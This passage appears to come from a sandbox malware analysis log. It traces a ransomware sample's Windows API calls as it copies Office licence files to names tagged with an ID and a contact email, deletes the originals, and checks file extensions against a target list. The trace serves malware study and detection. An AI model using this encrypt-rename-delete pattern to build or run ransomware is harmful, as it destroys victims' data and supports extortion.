lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0196.897] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.897] WriteFile (in: hFile=0x524, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x126, lpOverlapped=0x0) returned 1 [0196.897] SetEndOfFile (hFile=0x524) returned 1 [0197.527] CloseHandle (hObject=0x524) returned 1 [0197.580] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.581] SetEndOfFile (hFile=0x370) returned 1 [0197.585] CloseHandle (hObject=0x370) returned 1 [0197.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.586] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription1-ul-oob.xrm-ms")) returned 1 [0197.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0197.587] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0197.587] lstrlenW (lpString=".doc") returned 4 [0197.587] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.587] lstrlenW (lpString=".docx") returned 5 [0197.587] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.588] lstrlenW (lpString=".pdf") returned 4 [0197.588] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString=".xls") returned 4 [0197.588] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString=".xlsx") returned 5 [0197.588] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.588] lstrlenW (lpString=".ppt") returned 4 [0197.588] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0197.588] lstrlenW (lpString=".zip") returned 4 [0197.588] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString=".rar") returned 4 [0197.588] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString=".bz2") returned 4 [0197.588] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString=".7z") returned 3 [0197.588] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0197.588] lstrlenW (lpString=".dbf") returned 4 [0197.588] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0197.588] lstrlenW (lpString=".1cd") returned 4 [0197.588] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.588] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription1-ul-oob.xrm-ms") returned 91 [0197.588] lstrlenW (lpString=".jpg") returned 4 [0197.588] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.590] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.590] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.590] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0197.591] GetLastError () returned 0x0 [0197.591] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x67ad, lpOverlapped=0x0) returned 1 [0197.597] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x67b0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x67b0, lpOverlapped=0x0) returned 1 [0197.599] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.599] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x120, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x120, lpOverlapped=0x0) returned 1 [0197.599] SetEndOfFile (hFile=0x374) returned 1 [0197.599] CloseHandle (hObject=0x374) returned 1 [0197.599] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.599] SetEndOfFile (hFile=0x370) returned 1 [0197.606] CloseHandle (hObject=0x370) returned 1 [0197.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0197.606] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ppd.xrm-ms")) returned 1 [0197.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0197.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0197.608] lstrlenW (lpString=".doc") returned 4 [0197.608] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0197.608] lstrlenW (lpString=".docx") returned 5 [0197.608] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0197.608] lstrlenW (lpString=".pdf") returned 4 [0197.608] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0197.608] lstrlenW (lpString=".xls") returned 4 [0197.608] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0197.608] lstrlenW (lpString=".xlsx") returned 5 [0197.608] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0197.608] lstrlenW (lpString=".ppt") returned 4 [0197.608] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0197.608] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0197.608] lstrlenW (lpString=".zip") returned 4 [0197.608] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0197.608] lstrlenW (lpString=".rar") returned 4 [0197.608] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0197.608] lstrlenW (lpString=".bz2") returned 4 [0197.608] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0197.608] lstrlenW (lpString=".7z") returned 3 [0197.609] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0197.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0197.609] lstrlenW (lpString=".dbf") returned 4 [0197.609] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0197.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0197.609] lstrlenW (lpString=".1cd") returned 4 [0197.609] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0197.609] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ppd.xrm-ms") returned 88 [0197.609] lstrlenW (lpString=".jpg") returned 4 [0197.609] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0197.610] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.610] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x374 [0197.612] GetLastError () returned 0x0 [0197.612] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0197.803] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0197.805] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.805] WriteFile (in: hFile=0x374, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x126, lpOverlapped=0x0) returned 1 [0197.805] SetEndOfFile (hFile=0x374) returned 1 [0197.944] CloseHandle (hObject=0x374) returned 1 [0198.007] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.007] SetEndOfFile (hFile=0x370) returned 1 [0198.013] CloseHandle (hObject=0x370) returned 1 [0198.014] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.014] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription3-ul-oob.xrm-ms")) returned 1 [0198.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0198.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0198.015] lstrlenW (lpString=".doc") returned 4 [0198.015] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.015] lstrlenW (lpString=".docx") returned 5 [0198.015] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.015] lstrlenW (lpString=".pdf") returned 4 [0198.015] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.015] lstrlenW (lpString=".xls") returned 4 [0198.015] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.015] lstrlenW (lpString=".xlsx") returned 5 [0198.015] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.015] lstrlenW (lpString=".ppt") returned 4 [0198.015] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.015] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0198.015] lstrlenW (lpString=".zip") returned 4 [0198.016] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.016] lstrlenW (lpString=".rar") returned 4 [0198.016] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.016] lstrlenW (lpString=".bz2") returned 4 [0198.016] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.016] lstrlenW (lpString=".7z") returned 3 [0198.016] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0198.016] lstrlenW (lpString=".dbf") returned 4 [0198.016] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0198.016] lstrlenW (lpString=".1cd") returned 4 [0198.016] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.016] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription3-ul-oob.xrm-ms") returned 91 [0198.016] lstrlenW (lpString=".jpg") returned 4 [0198.016] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.017] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.017] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0198.018] GetLastError () returned 0x0 [0198.018] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2d83, lpOverlapped=0x0) returned 1 [0198.020] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2d90, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2d90, lpOverlapped=0x0) returned 1 [0198.021] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.021] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x126, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x126, lpOverlapped=0x0) returned 1 [0198.021] SetEndOfFile (hFile=0x494) returned 1 [0198.022] CloseHandle (hObject=0x494) returned 1 [0198.022] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.022] SetEndOfFile (hFile=0x370) returned 1 [0198.025] CloseHandle (hObject=0x370) returned 1 [0198.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.025] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subscription5-ul-oob.xrm-ms")) returned 1 [0198.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0198.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0198.026] lstrlenW (lpString=".doc") returned 4 [0198.026] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString=".docx") returned 5 [0198.027] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.027] lstrlenW (lpString=".pdf") returned 4 [0198.027] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString=".xls") returned 4 [0198.027] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString=".xlsx") returned 5 [0198.027] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.027] lstrlenW (lpString=".ppt") returned 4 [0198.027] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0198.027] lstrlenW (lpString=".zip") returned 4 [0198.027] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString=".rar") returned 4 [0198.027] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString=".bz2") returned 4 [0198.027] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString=".7z") returned 3 [0198.027] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0198.027] lstrlenW (lpString=".dbf") returned 4 [0198.027] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0198.027] lstrlenW (lpString=".1cd") returned 4 [0198.027] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.027] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_Subscription5-ul-oob.xrm-ms") returned 91 [0198.027] lstrlenW (lpString=".jpg") returned 4 [0198.027] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.028] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.028] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0198.029] GetLastError () returned 0x0 [0198.029] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2bab, lpOverlapped=0x0) returned 1 [0198.031] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0198.032] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.032] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x114, lpOverlapped=0x0) returned 1 [0198.033] SetEndOfFile (hFile=0x494) returned 1 [0198.033] CloseHandle (hObject=0x494) returned 1 [0198.033] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.033] SetEndOfFile (hFile=0x370) returned 1 [0198.036] CloseHandle (hObject=0x370) returned 1 [0198.036] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.037] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-pl.xrm-ms")) returned 1 [0198.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0198.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0198.038] lstrlenW (lpString=".doc") returned 4 [0198.038] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0198.038] lstrlenW (lpString=".docx") returned 5 [0198.038] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0198.038] lstrlenW (lpString=".pdf") returned 4 [0198.038] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0198.038] lstrlenW (lpString=".xls") returned 4 [0198.038] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0198.038] lstrlenW (lpString=".xlsx") returned 5 [0198.038] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0198.038] lstrlenW (lpString=".ppt") returned 4 [0198.038] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0198.038] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0198.038] lstrlenW (lpString=".zip") returned 4 [0198.038] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0198.038] lstrlenW (lpString=".rar") returned 4 [0198.039] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0198.039] lstrlenW (lpString=".bz2") returned 4 [0198.039] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0198.039] lstrlenW (lpString=".7z") returned 3 [0198.039] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0198.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0198.039] lstrlenW (lpString=".dbf") returned 4 [0198.039] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0198.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0198.039] lstrlenW (lpString=".1cd") returned 4 [0198.039] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0198.039] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-pl.xrm-ms") returned 82 [0198.039] lstrlenW (lpString=".jpg") returned 4 [0198.039] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0198.040] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.040] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.040] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494 [0198.042] GetLastError () returned 0x0 [0198.042] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0198.262] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0198.264] ReadFile (in: hFile=0x370, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0198.264] WriteFile (in: hFile=0x494, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x116, lpOverlapped=0x0) returned 1 [0198.264] SetEndOfFile (hFile=0x494) returned 1 [0198.265] CloseHandle (hObject=0x494) returned 1 [0198.265] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0198.265] SetEndOfFile (hFile=0x370) returned 1 [0198.269] CloseHandle (hObject=0x370) returned 1 [0198.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0198.270] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft 